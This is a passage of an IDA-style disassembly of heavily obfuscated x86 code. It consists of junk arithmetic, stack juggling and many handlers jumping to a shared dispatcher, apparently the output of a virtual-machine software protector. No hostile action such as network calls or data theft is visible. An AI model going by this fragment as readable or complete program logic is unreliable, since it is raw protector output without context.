		sub	eax, ebp
		pop	ebp
		add	eax, 519F5802h
		add	eax, esi
		jmp	loc_598889
; ---------------------------------------------------------------------------


loc_592DB8:				; CODE XREF: sub_58A891+42C4j
		mov	ecx, 0C227C8h
		sub	ecx, 43F97D14h
		neg	ecx
		and	ecx, 3F656FBh
		neg	ecx
		shr	ecx, 6
		xor	ecx, 3F326AAh
		sub	edx, ecx
		pop	ecx
		push	edx
		push	[esp+3Ch+var_38]
		pop	edx
		pop	[esp+3Ch+var_3C]
		pop	esp
		mov	[esp+34h+var_34], esi
		mov	esi, 27B959DFh
		jmp	loc_592AC9
; ---------------------------------------------------------------------------


loc_592DF0:				; CODE XREF: sub_58A891+3CAAj
					; sub_58A891+1018Ej
		mov	ebx, 532846AFh
		not	ebx
		or	ebx, 39C00FB4h
		not	ebx
		inc	ebx
		shr	ebx, 1
		push	ebp
		mov	ebp, 0F2001FAh
		sub	ebx, ebp
		pop	ebp
		mov	ebp, ebx
		pop	ebx
		xor	ebp, 67AD0A08h
		shl	ebp, 3
		inc	ebp
		push	ebx
		mov	ebx, 3D404FD9h
		neg	ebx
		jmp	loc_591F6F
; ---------------------------------------------------------------------------


loc_592E25:				; CODE XREF: sub_58A891+CBC0j
		push	ebp
		mov	ebp, 38F774AEh
		xor	ebp, 3E8F0E0Fh
		jmp	loc_5982B2
; ---------------------------------------------------------------------------


loc_592E36:				; CODE XREF: sub_58A891+FE58j
		jmp	loc_58E6AB
; ---------------------------------------------------------------------------


loc_592E3B:				; CODE XREF: sub_58A891+10A65j
		not	ecx
		xchg	ecx, ebx
		xchg	ebx, [esp+40h+var_40]
		mov	edi, [esp+40h+var_40]
		add	esp, 4
		and	edi, 63F70FD3h
		push	edi
		not	[esp+40h+var_40]
		pop	edi
		push	ebx
		mov	ebx, 9F09F86Ah
		sub	edi, ebx
		pop	ebx
		add	eax, edi
		mov	edi, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_59333C
; ---------------------------------------------------------------------------


loc_592E6F:				; CODE XREF: sub_58A891+FAC7j
		xchg	esi, [esp+38h+var_38]
		pop	esp
		add	esp, 4
		push	[esp+30h+var_30]
		mov	ecx, [esp+34h+var_34]
		jmp	loc_59816C
; ---------------------------------------------------------------------------


loc_592E84:				; CODE XREF: sub_58A891+6BFEj
		add	esp, 4
		jmp	loc_5941F3
; ---------------------------------------------------------------------------


loc_592E8F:				; CODE XREF: sub_58A891+D735j
		sub	edx, 4
		xor	edx, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], edx
		xor	edx, [esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], eax
		push	[esp+0Eh+var_10+2]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], ebx
		xor	ebx, [esp+12h+var_14+2]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592EC1:				; CODE XREF: sub_58A891+3DD4j
		add	edx, 7FB5826h
		mov	ebx, [esp+44h+var_44]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 5AB43814h
		or	ebp, 645220C0h
		jmp	loc_58F084
; ---------------------------------------------------------------------------


loc_592EDE:				; CODE XREF: sub_58A891+726Fj
		mov	eax, 4
		sub	ecx, 301A3262h
		add	ecx, eax
		add	ecx, 301A3262h
		jmp	loc_596F36
; ---------------------------------------------------------------------------


loc_592EF6:				; CODE XREF: sub_58A891+641Ej
		not	eax
		sub	eax, 67274D87h
		add	eax, 628EA2FDh
		add	edi, eax
		push	[esp+48h+var_48]
		pop	eax
		add	esp, 4
		add	esi, edi
		mov	edi, [esp+44h+var_44]
		push	ecx
		mov	ecx, esp
		jmp	loc_594AF4
; ---------------------------------------------------------------------------


loc_592F1B:				; CODE XREF: sub_58A891+DABCj
					; sub_58A891+FC8Fj
		pop	ebp
		mov	ecx, [esp+44h+var_44]
		jmp	loc_597417
; ---------------------------------------------------------------------------


loc_592F24:				; DATA XREF: sub_58A891+3C03o
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_596E27
; ---------------------------------------------------------------------------


loc_592F2D:				; CODE XREF: sub_58A891+C591j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592F32:				; CODE XREF: sub_58A891+78A5j
		xor	dl, 0A2h
		and	dl, 1
		inc	dl
		add	dl, 0DFh
		sub	al, dl
		pop	edx
		xor	bl, al
		jmp	loc_598946
; ---------------------------------------------------------------------------


loc_592F47:				; CODE XREF: sub_58A891+6532j
		div	cl
		movzx	cx, ah
		jmp	loc_599467
; ---------------------------------------------------------------------------


loc_592F52:				; CODE XREF: sub_58A891+F375j
		sub	edx, 4
		xchg	edx, [esp+14h+var_14]
		jmp	loc_596F93
; ---------------------------------------------------------------------------


loc_592F60:				; CODE XREF: sub_58A891+7A86j
		pop	ebp
		mov	esi, ebx
		pop	ebx
		add	edx, esi
		push	[esp+40h+var_40]
		pop	esi
		jmp	loc_59363F
; ---------------------------------------------------------------------------


loc_592F6F:				; CODE XREF: sub_58A891+4788j
					; sub_58A891+E4EBj
		push	[esp+38h+var_38]
		mov	ecx, [esp+3Ch+var_3C]
		add	esp, 4
		push	1117h
		mov	[esp+3Ch+var_3C], ecx
		jmp	loc_598711
; ---------------------------------------------------------------------------


loc_592F85:				; CODE XREF: sub_58A891+B6E7j
		push	esi
		push	esp
		pop	esi
		jmp	loc_5935BF
; ---------------------------------------------------------------------------


loc_592F8D:				; CODE XREF: sub_58A891+BACEj
		xor	edx, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		mov	word ptr [esp+40h+var_40], cx
		jmp	loc_595234
; ---------------------------------------------------------------------------


loc_592F9C:				; CODE XREF: sub_58A891+DC72j
		push	ecx
		jmp	loc_58F123
; ---------------------------------------------------------------------------


loc_592FA2:				; CODE XREF: sub_58A891+889Cj
		add	al, 0F5h
		jmp	loc_599F8F
; ---------------------------------------------------------------------------


loc_592FA9:				; CODE XREF: sub_58A891+10DF3j
		inc	ebx
		push	esi
		mov	esi, 3467938h
		add	ebx, esi
		jmp	loc_59017E
; ---------------------------------------------------------------------------


loc_592FB7:				; CODE XREF: sub_58A891+5A01j
		pop	eax
		sub	ebp, ecx
		sub	ebp, 339B49D2h
		pop	ecx
		jmp	loc_591BB3
; ---------------------------------------------------------------------------


loc_592FC6:				; CODE XREF: sub_58A891+AB40j
		jmp	loc_591CBD
; ---------------------------------------------------------------------------


loc_592FCB:				; CODE XREF: sub_58A891+99FCj
		push	3820086Fh
		pop	edi
		add	edi, 0C84D8B52h
		sub	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 3F6075AFh
		jmp	loc_599D5A
; ---------------------------------------------------------------------------


loc_592FE5:				; CODE XREF: sub_58A891+81D5j
		pop	esi
		and	eax, ebx
		jmp	loc_599323
; ---------------------------------------------------------------------------


loc_592FED:				; CODE XREF: sub_58A891+69A6j
		push	5CC5h
		mov	[esp+0Ch+var_C], ebp
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		push	3FB35E59h
		jmp	loc_59AEEF
; ---------------------------------------------------------------------------


loc_593008:				; DATA XREF: sub_58A891+3B73o
		lodsd
		push	ecx
		mov	ecx, 6B592829h
		push	edi
		mov	edi, 67FE51F4h
		add	eax, edi
		pop	edi
		sub	eax, 54AF75C9h
		add	eax, ecx
		jmp	loc_58F05D
; ---------------------------------------------------------------------------


loc_593024:				; CODE XREF: sub_58A891+47C7j
		pop	[esp+2Ch+var_2C]
		add	[esp+28h+var_28], 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593030:				; CODE XREF: sub_58A891+9D18j
					; sub_58A891+E87Cj
		xchg	ebx, [esp+28h+var_28]
		pop	esp
		pop	ecx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_59A2FE
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+20h+var_20]
		pop	esp
		mov	[esp+1Ch+var_1C], esi
		push	eax
		mov	eax, 0FEh
		push	ebx
		jmp	loc_58FAC4
; ---------------------------------------------------------------------------


loc_593062:				; CODE XREF: sub_58A891+4F38j
		pop	eax
		mov	esi, 70553A4Ch
		xor	esi, edx
		pop	edx
		push	edx
		mov	edx, 8781DD8h
		shr	edx, 4
		push	0A92h
		mov	[esp+28h+var_28], ebx
		mov	ebx, 0
		sub	ebx, edx
		xchg	ebx, edx
		pop	ebx
		dec	edx
		add	edx, 76300989h
		neg	edx
		jmp	loc_593240
; ---------------------------------------------------------------------------


loc_593094:				; CODE XREF: sub_58A891+9DF2j
		push	[esp+24h+var_24]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_598609
; ---------------------------------------------------------------------------


loc_5930A5:				; CODE XREF: sub_58A891+102B5j
		pop	ebx
		and	edx, 774A7E3Ch
		xor	edx, 1D2E2355h
		sub	edx, 0D9BF372Eh
		add	ebx, 10353409h
		add	ebx, edx
		sub	ebx, 10353409h
		pop	edx
		add	ebx, 4E7732A4h
		push	35CAh
		mov	[esp+24h+var_24], ebp
		push	esp
		mov	ebp, [esp+28h+var_28]
		jmp	loc_598384
; ---------------------------------------------------------------------------


loc_5930DE:				; CODE XREF: sub_58A891+B832j
		or	edx, eax
		pop	eax
		jmp	loc_5954FD
; ---------------------------------------------------------------------------


loc_5930E6:				; CODE XREF: sub_58A891:loc_5992F9j
		shr	bh, 2
		push	0
		sub	byte ptr [esp+28h+var_28], bh
		mov	bh, byte ptr [esp+28h+var_28]
		add	esp, 4
		push	ax
		mov	ah, 1Bh
		jmp	loc_592122
; ---------------------------------------------------------------------------


loc_593100:				; DATA XREF: sub_58A891+3BD3o
		neg	byte ptr [esp+8+var_8]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593109:				; CODE XREF: sub_58A891+5D11j
		pop	edi
		jmp	loc_599817
; ---------------------------------------------------------------------------


loc_59310F:				; CODE XREF: sub_58A891:loc_592A85j
		and	cl, 0A3h
		jg	loc_593D3B
		add	cl, 0F9h
		add	bh, cl
		jmp	loc_5926A3
; ---------------------------------------------------------------------------


loc_593122:				; CODE XREF: sub_58A891+9843j
		sub	al, 3Dh
		mov	ch, al
		pop	eax
		sub	al, 95h
		push	dx
		mov	dl, 3Eh
		jmp	loc_592FA2
; ---------------------------------------------------------------------------


loc_593132:				; CODE XREF: sub_58A891+5608j
		not	edx
		xor	edx, 8FA6F373h
		sub	eax, edx
		pop	edx
		push	ebp
		push	edx
		push	78FE5D8Ch
		mov	edx, [esp+20h+var_20]
		push	ecx
		jmp	loc_595723
; ---------------------------------------------------------------------------


loc_59314D:				; CODE XREF: sub_58A891+721Bj
		sub	ebx, 892390Fh
		sub	ebx, eax
		add	ebx, 892390Fh
		pop	eax
		push	481Ah
		mov	[esp+0], edi
		push	7C95h
		jmp	loc_59046D
; ---------------------------------------------------------------------------


loc_59316E:				; CODE XREF: sub_58A891+11034j
		pop	edi
		jmp	loc_592118
; ---------------------------------------------------------------------------


loc_593174:				; CODE XREF: sub_58A891+8C3Fj
		dec	ebx
		not	ebx
		jmp	loc_5970A1
; ---------------------------------------------------------------------------


loc_59317C:				; CODE XREF: sub_58A891+4996j
		xchg	ecx, [esp+28h+var_28]
		pop	esp
		mov	[esp+24h+var_24], esi
		mov	esi, 0E143D60h
		xor	esi, 15265B1Eh
		jl	loc_599CF5
		add	esi, 3DFF3406h
		jnz	loc_58F1B0
		dec	esi
		jz	loc_599A51
		dec	esi
		mov	bl, ah


loc_5931AA:				; CODE XREF: sub_58A891+EB78j
					; sub_58A891+11265j
		pop	ebx
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 515606E1h
		or	ebp, 4C6858A1h
		sub	ebp, 2D871BF8h
		sub	eax, 4D460342h
		sub	eax, ebp
		add	eax, 4D460342h
		jmp	loc_59176C
; ---------------------------------------------------------------------------


loc_5931D1:				; CODE XREF: sub_58A891+11181j
		mov	dh, 90h
		neg	dh
		jnp	loc_5996C6
		jmp	loc_590297
; ---------------------------------------------------------------------------
		shl	edx, 7
		xor	al, 56h


loc_5931E5:				; CODE XREF: sub_58A891+1084Cj
		add	ebx, 60E939B9h
		add	ebx, 18F920F6h
		sub	ebx, 4ABB26F3h
		pop	edi
		pop	dword ptr [eax]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5931FF:				; CODE XREF: sub_58A891+48E3j
		add	ebx, 4
		xchg	ebx, [esp+16h+var_18+2]
		pop	esp
		push	eax
		mov	ebp, [esp+16h+var_18+2]
		push	eax
		mov	eax, esp
		jmp	loc_594B64
; ---------------------------------------------------------------------------


loc_593215:				; DATA XREF: sub_58A891+3BA7o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp+6+var_8+2], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593225:				; CODE XREF: sub_58A891+776Dj
					; sub_58A891+7DCAj
		pop	esp
		jmp	loc_59928D
; ---------------------------------------------------------------------------


loc_59322B:				; CODE XREF: sub_58A891+C851j
		push	edx
		mov	edx, 4
		push	esi
		mov	esi, edx
		mov	eax, esi
		pop	esi
		pop	edx
		sub	edi, eax
		pop	eax
		jmp	loc_596E7A
; ---------------------------------------------------------------------------


loc_593240:				; CODE XREF: sub_58A891+87FEj
		add	edx, 87F49336h
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		jmp	loc_593553
; ---------------------------------------------------------------------------


loc_593250:				; CODE XREF: sub_58A891+93DCj
		xor	[esp+20h+var_1C], edx
		jmp	loc_59A2B9
; ---------------------------------------------------------------------------


loc_593259:				; CODE XREF: sub_58A891+C126j
		pop	ecx
		jmp	loc_594C74
; ---------------------------------------------------------------------------


loc_59325F:				; CODE XREF: sub_58A891+DAB5j
		add	esp, 4
		push	edi
		mov	edi, 41BF69A1h
		sub	esp, 4
		mov	[esp+20h+var_20], eax
		mov	eax, 305C4638h
		neg	eax
		jmp	loc_58FD34
; ---------------------------------------------------------------------------


loc_59327A:				; CODE XREF: sub_58A891+A2FEj
					; sub_58A891:loc_595E3Cj
		add	esp, 4
		jmp	loc_59AE0D
; ---------------------------------------------------------------------------


loc_593282:				; CODE XREF: sub_58A891+450Bj
		add	esp, 4
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_59B70F
		push	dword ptr [edi+1Ch]
		push	759Eh
		mov	[esp+0], ecx
		push	340C2BC3h
		pop	ecx
		jmp	loc_591494
; ---------------------------------------------------------------------------


loc_5932A9:				; CODE XREF: sub_58A891+AFD7j
		push	ebx
		mov	ebx, 234457FBh
		not	ebx
		jmp	loc_590FD8
; ---------------------------------------------------------------------------


loc_5932B6:				; CODE XREF: sub_58A891+A60Aj
		add	edx, 4
		jmp	loc_590F59
; ---------------------------------------------------------------------------


loc_5932C1:				; CODE XREF: sub_58A891+DADAj
		xchg	eax, ebp
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_58F85C
; ---------------------------------------------------------------------------


loc_5932D0:				; DATA XREF: sub_58A891+3BDBo
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		jmp	loc_59156E
; ---------------------------------------------------------------------------


loc_5932E2:				; CODE XREF: sub_58A891+C81Dj
		xor	ebx, 2242F3D9h
		jmp	loc_58E679
; ---------------------------------------------------------------------------


loc_5932ED:				; CODE XREF: sub_58A891+C0C7j
		push	ebx
		mov	bl, 99h
		or	al, bl
		pop	ebx
		add	al, 5Fh
		xor	dl, al
		pop	eax
		xor	dl, 42h
		mov	ch, dl
		pop	edx
		xor	ch, bh
		pop	ebx
		push	257h
		jmp	loc_59A173
; ---------------------------------------------------------------------------


loc_59330B:				; CODE XREF: sub_58A891+CB15j
		add	bl, cl
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_59023A
; ---------------------------------------------------------------------------


loc_593319:				; CODE XREF: sub_58A891+DED6j
		xor	edi, 0EF1BFA3Bh
		sub	eax, 2A8D0656h
		add	eax, edi
		add	eax, 2A8D0656h
		pop	edi
		add	eax, 53A65E44h
		push	edi
		jmp	loc_5921D8
; ---------------------------------------------------------------------------


loc_593337:				; CODE XREF: sub_58A891+6E1Cj
		jmp	loc_597B41
; ---------------------------------------------------------------------------


loc_59333C:				; CODE XREF: sub_58A891+85D9j
		add	eax, 2
		jmp	loc_595F56
; ---------------------------------------------------------------------------


loc_593346:				; CODE XREF: sub_58A891+7538j
		push	esi
		mov	esi, 4E962EFDh
		add	[esp-4+arg_4], esi
		jmp	loc_58F042
; ---------------------------------------------------------------------------


loc_593355:				; CODE XREF: sub_58A891+EA81j
		mov	ebx, 3C70032Ch
		mov	ecx, ebx
		pop	ebx
		jmp	loc_598CAD
; ---------------------------------------------------------------------------


loc_593362:				; CODE XREF: sub_58A891+F91Ej
		pop	ebx
		pop	edi
		sub	eax, 0E1B67B7h
		add	eax, edx
		push	ebp
		jmp	loc_595FF2
; ---------------------------------------------------------------------------


loc_593371:				; CODE XREF: sub_58A891+8F8Dj
		mov	edi, [esp-0Ch+arg_4]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_594C81
; ---------------------------------------------------------------------------


loc_59338B:				; CODE XREF: sub_58A891+A707j
		push	edx
		push	ebx
		mov	ebx, 765E1E76h
		xor	ebx, 2A1A5748h
		not	ebx
		not	ebx
		jmp	loc_59B18B
; ---------------------------------------------------------------------------


loc_5933A1:				; CODE XREF: sub_58A891+A22Cj
		sub	edi, 4
		xchg	edi, [esp-8+arg_0]
		mov	esp, [esp-8+arg_0]
		mov	[esp-8+arg_0], ecx
		jmp	loc_5918F3
; ---------------------------------------------------------------------------


loc_5933B2:				; DATA XREF: sub_58A891+3B3Fo
		mov	cx, word ptr [esp+8+var_8]
		push	7C8Eh
		mov	[esp+0Ch+var_C], edi
		jmp	loc_598B68
; ---------------------------------------------------------------------------


loc_5933C3:				; CODE XREF: sub_58A891+7593j
		xchg	eax, [esp+50h+var_50]
		pop	esp
		jmp	loc_5945F7
; ---------------------------------------------------------------------------


loc_5933CC:				; CODE XREF: sub_58A891+F868j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp+48h+var_48]
		pop	esp
		add	esp, 4
		jmp	loc_59043C
; ---------------------------------------------------------------------------


loc_5933E0:				; CODE XREF: sub_58A891+78BAj
		push	ebx
		jmp	loc_591489
; ---------------------------------------------------------------------------


loc_5933E6:				; CODE XREF: sub_58A891+108E3j
		add	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebp
		push	[esp+12h+var_10+2]
		mov	ebp, [esp+16h+var_18+2]
		add	esp, 4
		pop	[esp+12h+var_14+2]
		pop	esp
		add	edi, 0A0B78FCh
		push	ecx
		push	6E456E59h
		mov	ecx, [esp+12h+var_14+2]
		sub	esp, 4
		jmp	loc_59BC3F
; ---------------------------------------------------------------------------


loc_593417:				; CODE XREF: sub_58A891+5EDEj
		dec	ax
		inc	ax
		jmp	loc_592009
; ---------------------------------------------------------------------------


loc_593420:				; CODE XREF: sub_58A891+6566j
		pop	ebx
		and	eax, esi
		pop	esi
		or	eax, eax
		jnz	loc_5975BA
		push	5362h
		mov	[esp+10h+var_10], ebx
		push	ebp
		mov	ebp, 5FE77741h
		dec	ebp
		jl	loc_59244E
		jmp	loc_5982FD
; ---------------------------------------------------------------------------


loc_593446:				; CODE XREF: sub_58A891:loc_59387Cj
		xor	dh, 0A3h
		mov	cl, dh
		pop	edx
		shl	cl, 5
		sub	cl, 1
		push	eax
		mov	al, 0D5h
		xor	cl, al
		pop	eax
		add	al, cl
		mov	ecx, [esp+10h+var_10]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 52BB354Ch
		jmp	loc_59A956
; ---------------------------------------------------------------------------


loc_59346B:				; CODE XREF: sub_58A891+5B98j
		add	[esp+10h+var_10], 4
		pop	edx
		add	edx, 4
		push	edi
		push	ecx
		mov	ecx, 50811779h
		add	ecx, 0AF7EE88Bh
		mov	edi, ecx
		jmp	loc_59B313
; ---------------------------------------------------------------------------


loc_59348D:				; CODE XREF: sub_58A891+DD68j
		jmp	loc_58EDCD
; ---------------------------------------------------------------------------


loc_593492:				; CODE XREF: sub_58A891+107A3j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+18h+var_18]
		pop	esp
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		jmp	loc_58E71C
; ---------------------------------------------------------------------------


loc_5934B1:				; CODE XREF: sub_58A891+C2B0j
		add	eax, ebx
		jmp	loc_5941EC
; ---------------------------------------------------------------------------


loc_5934B8:				; CODE XREF: sub_58A891+10D52j
		add	esi, 4
		xchg	esi, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		sub	[esp+18h+var_18], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5934CA:				; CODE XREF: sub_58A891+83CDj
		push	ebx
		mov	ebx, 4134336Ah
		jmp	loc_593174
; ---------------------------------------------------------------------------


loc_5934D5:				; CODE XREF: sub_58A891+628Ej
		xchg	edx, ecx
		sub	ecx, 1400633Bh
		sub	ecx, 0A42D8B08h
		mov	ebx, ecx
		pop	ecx
		sub	eax, 494620F7h
		sub	eax, 9541839h
		sub	eax, ebx
		push	ebx
		mov	ebx, 0B245045h
		push	ebp
		mov	ebp, 40ED0BEEh
		shr	ebp, 2
		add	ebp, 0FFFFFFFFh
		and	ebp, 3D2F08DBh
		inc	ebp
		neg	ebp
		sub	ebp, 838BA0A2h
		and	ebx, ebp
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		shr	ebx, 1
		jmp	loc_59AA69
; ---------------------------------------------------------------------------


loc_593525:				; CODE XREF: sub_58A891+10D6Cj
		sub	ecx, ebx
		pop	ebx
		dec	ecx
		push	edx
		push	ecx
		push	33DA7E65h
		pop	ecx
		xor	ecx, 58457404h
		mov	edx, ecx
		jmp	loc_59BB1B
; ---------------------------------------------------------------------------


loc_59353E:				; CODE XREF: sub_58A891+E6C1j
		mov	ebp, [esp+1Ch+var_1C]
		jmp	loc_59686F
; ---------------------------------------------------------------------------


loc_593546:				; CODE XREF: sub_58A891+B738j
		push	1516h
		mov	[esp+20h+var_20], edx
		jmp	loc_593CF3
; ---------------------------------------------------------------------------


loc_593553:				; CODE XREF: sub_58A891+89BAj
		pop	esi
		jmp	loc_596B2F
; ---------------------------------------------------------------------------


loc_593559:				; CODE XREF: sub_58A891+113B9j
		add	esi, 4
		jmp	loc_5903B3
; ---------------------------------------------------------------------------


loc_593564:				; CODE XREF: sub_58A891+1113Ej
		pop	edi
		add	edi, 4
		push	eax
		jmp	loc_58E8FA
; ---------------------------------------------------------------------------


loc_593571:				; CODE XREF: sub_58A891+75C6j
		pop	esi
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59357A:				; CODE XREF: sub_58A891+69CDj
		mov	esp, [esp+0]
		jmp	loc_597929
; ---------------------------------------------------------------------------


loc_593582:				; CODE XREF: sub_58A891+BB3Ej
		pop	esp
		bswap	eax
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_58F3EE
; ---------------------------------------------------------------------------


loc_593590:				; CODE XREF: sub_58A891+5C2Bj
		pop	edi
		pop	ebp
		push	eax
		push	esi
		jmp	loc_59B60A
; ---------------------------------------------------------------------------


loc_593599:				; CODE XREF: sub_58A891+106B3j
		xchg	ecx, [esp+1Ch+var_1C]
		pop	esp
		push	edi
		mov	edi, 7A45E14h
		add	edi, 16E4D713h
		sub	edx, edi
		pop	edi
		add	edx, 76B04E7h
		add	edx, eax
		sub	edx, 76B04E7h
		jmp	loc_5953A6
; ---------------------------------------------------------------------------


loc_5935BF:				; CODE XREF: sub_58A891+86F7j
		add	esi, 4
		push	1978h
		jmp	loc_58EABC
; ---------------------------------------------------------------------------


loc_5935CF:				; CODE XREF: sub_58A891+E5EDj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+44h+var_44]
		pop	esp
		mov	[esp+40h+var_40], ecx
		push	esp
		mov	ecx, [esp+44h+var_44]
		jmp	loc_591726
; ---------------------------------------------------------------------------


loc_5935EB:				; CODE XREF: sub_58A891+B18Bj
		mov	esi, 63AD7816h
		jmp	loc_596441
; ---------------------------------------------------------------------------


loc_5935F5:				; DATA XREF: sub_58A891+3B5Fo
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+6+var_8+2], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593604:				; CODE XREF: sub_58A891+9C68j
		push	bx
		mov	bh, 4Ah
		sub	ch, bh
		pop	bx
		add	al, ch
		jmp	loc_595C4E
; ---------------------------------------------------------------------------


loc_593613:				; CODE XREF: sub_58A891+B72Dj
		or	eax, eax
		jz	loc_59900B
		push	57BBh
		jmp	loc_59AC4B
; ---------------------------------------------------------------------------


loc_593625:				; CODE XREF: sub_58A891+EA63j
		sub	ah, 0EBh
		shr	ah, 1
		jns	loc_5971F0
		xor	ah, 0BEh
		dec	ah
		jg	loc_599BBB
		and	ah, 0E1h
		pop	ecx


loc_59363F:				; CODE XREF: sub_58A891+86D9j
		add	esp, 4
		xchg	edx, [esp+6+var_8+2]
		pop	esp
		shl	[esp+2+var_4+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593652:				; DATA XREF: sub_58A891+3B4Bo
		xor	byte ptr [esp+8+var_8],	bl
		jmp	loc_593B2D
; ---------------------------------------------------------------------------


loc_59365A:				; CODE XREF: sub_58A891+11199j
		or	al, 0DFh
		add	al, 0E0h
		xor	cl, al
		jmp	loc_597CB0
; ---------------------------------------------------------------------------


loc_593665:				; CODE XREF: sub_58A891+A036j
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		jmp	loc_5920B8
; ---------------------------------------------------------------------------


loc_59367F:				; CODE XREF: sub_58A891+92E2j
		shl	edx, 1
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	esp
		jmp	loc_598502
; ---------------------------------------------------------------------------


loc_59368D:				; DATA XREF: sub_58A891+3B2Bo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ecx
		push	ebp
		push	ecx
		jmp	loc_58EFA2
; ---------------------------------------------------------------------------


loc_59369B:				; CODE XREF: sub_58A891+3E39j
		xor	[esp+48h+var_48], 77F40F53h
		pop	eax
		xor	eax, 77F40F53h
		pop	ebp
		jmp	loc_58F211
; ---------------------------------------------------------------------------


loc_5936AE:				; CODE XREF: sub_58A891+ECC5j
		xchg	ebp, [esp+40h+var_40]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		xchg	eax, ebx
		push	ebx
		push	ebp
		jmp	loc_59980B
; ---------------------------------------------------------------------------


loc_5936BF:				; CODE XREF: sub_58A891+990Ej
		mov	edx, [esp+44h+var_44]
		jmp	loc_595538
; ---------------------------------------------------------------------------


loc_5936C7:				; CODE XREF: sub_58A891+B014j
		jmp	loc_58E595
; ---------------------------------------------------------------------------


loc_5936CC:				; CODE XREF: sub_58A891+C1CEj
		mov	[esp+44h+var_44], eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5936D4:				; CODE XREF: sub_58A891+8337j
		sub	esp, 4
		mov	[esp+50h+var_50], edi
		push	[esp+50h+var_4C]
		jmp	loc_592083
; ---------------------------------------------------------------------------


loc_5936E6:				; CODE XREF: sub_58A891+1075Dj
		pop	ebx
		jmp	loc_595380
; ---------------------------------------------------------------------------


loc_5936EC:				; CODE XREF: sub_58A891+759Bj
		add	esp, 4
		push	467Ch
		mov	[esp+34h+var_34], eax
		jmp	loc_59A12A
; ---------------------------------------------------------------------------


loc_5936FC:				; CODE XREF: sub_58A891+43E1j
		pop	esi
		jmp	loc_597E5C
; ---------------------------------------------------------------------------


loc_593702:				; CODE XREF: sub_58A891+9946j
		add	esi, 1D3C1437h
		jb	loc_591689
		jmp	loc_599F25
; ---------------------------------------------------------------------------


loc_593713:				; DATA XREF: sub_58A891+39B3o
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_59421F
; ---------------------------------------------------------------------------


loc_59371C:				; CODE XREF: sub_58A891+E388j
		pop	esp
		jmp	loc_59B20E
; ---------------------------------------------------------------------------


loc_593722:				; CODE XREF: sub_58A891+7383j
		sub	dh, bl
		jmp	loc_590BA8
; ---------------------------------------------------------------------------


loc_593729:				; DATA XREF: sub_58A891+3A17o
		lodsb
		add	al, 39h
		add	al, 0EEh
		jmp	loc_59A374
; ---------------------------------------------------------------------------


loc_593733:				; CODE XREF: sub_58A891+C477j
		pop	ebp
		jmp	loc_5950D8
; ---------------------------------------------------------------------------


loc_593739:				; CODE XREF: sub_58A891+5DAEj
		push	[esp+3Ch+var_3C]
		jmp	loc_5981A3
; ---------------------------------------------------------------------------


loc_593741:				; CODE XREF: sub_58A891+4BCEj
		push	19C9h
		mov	[esp+48h+var_48], edx
		push	eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593750:				; CODE XREF: sub_58A891+DE16j
					; sub_58A891+E3C4j
		mov	[esp+50h+var_50], ebx
		mov	ebx, 1
		and	eax, ebx
		mov	ebx, [esp+50h+var_50]
		push	eax
		push	esp
		pop	eax
		push	edx
		jmp	loc_594292
; ---------------------------------------------------------------------------


loc_593766:				; CODE XREF: sub_58A891+B022j
					; sub_58A891+D672j
		xchg	ecx, [esp+58h+var_58]
		jmp	loc_5997F5
; ---------------------------------------------------------------------------


